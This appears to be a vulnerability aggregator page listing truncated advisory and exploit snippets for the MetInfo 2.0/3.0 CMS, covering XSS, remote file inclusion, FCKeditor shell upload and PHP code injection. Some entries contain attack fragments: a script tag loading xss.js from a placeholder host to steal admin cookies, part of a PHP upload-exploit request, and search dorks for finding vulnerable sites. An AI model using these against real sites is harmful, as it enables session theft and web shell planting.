CVE-2010-4976

Cross-site scripting XSS vulnerability in search/search.php in MetInfo 3.0 allows remote attackers to inject arbitrary web script or HTML via the searchword parameter aka Search Box field. NOTE: some of these details are obtained from third party information...

CVE-2010-4976

The CVE-2010-4976 issue affects MetInfo 3.0, specifically the search/search.php handler. The vulnerability arises in the searchword parameter (the Search Box field), enabling remote attackers to inject arbitrary web script or HTML (classic XSS). The description notes that details are from third-p...

PT-2011-1911

Name of the Vulnerable Software and Affected Versions MetInfo version 3.0 Description A cross-site scripting XSS issue exists, allowing remote attackers to inject arbitrary web script or HTML. This is achieved via the searchword parameter in the "search/search.php" file, also known as the Search...

CVE-2010-4976: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in search/search.php in MetInfo 3.0 allows remote attackers to inject arbitrary web script or HTML via the searchword parameter aka Search Box field. NOTE: some of these details are obtained from third party information...

The latest MetInfo enterprise website management system V4. 0 XSS 0Day-vulnerability warning-the black bar safety net

Author: Noevil Post To: T00ls.Net Using the method, the online message: Name fill: NoevilSCRIPT SRC="HTTP://xxx/xss.js"/SCRIPT Content: feel free. Background the administrator to view the messages list, and automatically intercepts the Cookie, the NoXss will try to Keep Session Landing back to ta...

MetInfo 3.0 RFI Vulnerability

Exploit for php platform in category web applications ============================= MetInfo 3.0 RFI Vulnerability ============================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1 3 3 3 3 7 /' \ /'\ /'\ /\ \ /\ /\ \ 7 1 /, /\L\ \ /\L\ \///'/' \ \ \ \ 1 3...

Metinfo 3.0 - Multiple Vulnerabilities

Exploit Title: metinfo3.0 Mullti Vulnerability Date : 10-11-2010 Author : anT!-Tr0J4n Version : 3.0 DorK : Powered by MetInfo 3.0 Home : www.Dev-PoinT.com : http://milw0rm.ws Email : D3v-PoinTathotmaild0tcom & C1EHatHotmaild0tcom Vendor£ : http://www.metinfo.cn/ Greetz : Dev-PoinT.com ; GlaDiatOr...

Metinfo 3.0 - Multiple Vulnerabilities

Metinfo 3.0 - Multiple Vulnerabilities Exploit Title: metinfo3.0 Mullti Vulnerability Date : 10-11-2010 Author : anT!-Tr0J4n Version : 3.0 DorK : Powered by MetInfo 3.0 Home : www.Dev-PoinT.com : http://milw0rm.ws Email : D3v-PoinTathotmaild0tcom & C1EHatHotmaild0tcom Vendor£ :...

Metinfo 3.0 Cross Site Scripting / File Disclosure

Exploit Title: metinfo3.0 Mullti Vulnerability Date : 10-11-2010 Author : anT!-Tr0J4n Version : 3.0 DorK : Powered by MetInfo 3.0 Home : www.Dev-PoinT.com : http://milw0rm.ws Email : D3v-PoinTathotmaild0tcom & C1EHatHotmaild0tcom Vendor£ : http://www.metinfo.cn/ Greetz : Dev-PoinT.com ; GlaDiatOr...

MetInfo 3.0 PHP code injection vulnerability(getshell)-vulnerability warning-the black bar safety net

Official website: http://www.metinfo.cn/ Keyword:"Powered by MetInfo 3.0" Description: In the file/include/common. inc. php 6 line 7: evalbase64decode$allclass0; $allclass0 variable is not initialized, so we can control its value, the code injection use. POC: the...

MetInfo 3.0 (fckeditor)upload vulnerability-vulnerability warning-the black bar safety net

MetInfo enterprise website management system using PHP+MYSQL architecture, which uses the FCKeditor online Editor incorrectly configured cause the upload to be utilized, and in some cases upload 1. php. pdf can access to the web shell. Trojan: ? php / MetInfo 3.0 Arbitrary File Upload Exploit...

MetInfo 3.0 Shell Upload

\n"; $data .= "----xSsT0rm--\r\n"; $packet = "POST $path/fckeditor/editor/filemanager/connectors/php/upload.php HTTP/1.0\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Content-Length: ".strlen$data."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=xSsT0rm\r\n"; $packet .=...

MetInfo 3.0 (fckeditor) Arbitrary File Upload Vulnerability

Exploit for php platform in category web applications =========================================================== MetInfo 3.0 fckeditor Arbitrary File Upload Vulnerability =========================================================== Exploit Title: MetInfo 3.0 fckeditor File Upload Exploit Date:...

MetInfo 3.0 - 'FCKeditor' Arbitrary File Upload

Exploit Title: MetInfo 3.0 fckeditor File Upload Exploit Date: 02-11-2010 Author: sh3n Software Link: http://www.metinfo.cn/upload/file/metinfo3.0.zip Version: 3.0 Tested on: BT4 Ubuntu, Windows 7 Ultimate Exploit: metinfo.pe/fckeditor/editor/filemanager/connectors/uploadtest.html...

MetInfo 3.0 - FCKeditor Arbitrary File Upload

MetInfo 3.0 - FCKeditor Arbitrary File Upload Exploit Title: MetInfo 3.0 fckeditor File Upload Exploit Date: 02-11-2010 Author: sh3n Software Link: http://www.metinfo.cn/upload/file/metinfo3.0.zip Version: 3.0 Tested on: BT4 Ubuntu, Windows 7 Ultimate Exploit:...

MetInfo 2.0 PHP Code Injection Vulnerability

Exploit for php platform in category web applications ============================================ MetInfo 2.0 PHP Code Injection Vulnerability ============================================ Exploit Title£ºMetInfo 2.0 PHP Code Injection Vulnerability Date:2010-10-31 Author£ºlinux520.com...

MetInfo 3.0 PHP Code Injection Vulnerability

Exploit for php platform in category web applications ============================================ MetInfo 3.0 PHP Code Injection Vulnerability ============================================ Exploit Title£ºMetInfo 3.0 PHP Code Injection Vulnerability Date:2010-10-31 Author£ºlinux520.com...

MetInfo 2.0 PHP Code Injection

Exploit Title£ºMetInfo 2.0 PHP Code Injection Vulnerability Date:2010-10-31 Author£ºlinux520.com Team£ºhttp://www.linux520.com/ Vendor£ºhttp://www.metinfo.cn/ Dork£º"Powered by MetInfo 2.0 " Google: 90,000 + results Price£º free Language£ºPHP Greetz£ºCCAV +Description£º at 132 line of...

MetInfo 3.0 PHP Code Injection

Exploit Title£ºMetInfo 3.0 PHP Code Injection Vulnerability Date:2010-10-31 Author£ºlinux520.com Team£ºhttp://www.linux520.com/ Vendor£ºhttp://www.metinfo.cn/ Dork£º"Powered by MetInfo 3.0 " Google: 400,000 + results Price£º free Language£ºPHP Greetz£ºCCAV +Description£º at 67 line of...

MetInfo 3.0 - PHP Code Injection

MetInfo 3.0 - PHP Code Injection Exploit Title£ºMetInfo 3.0 PHP Code Injection Vulnerability Date:2010-10-31 Author£ºlinux520.com Team£ºhttp://www.linux520.com/ Vendor£ºhttp://www.metinfo.cn/ Dork£º"Powered by MetInfo 3.0 " Google: 400,000 + results Price£º free Language£ºPHP Greetz£ºCCAV...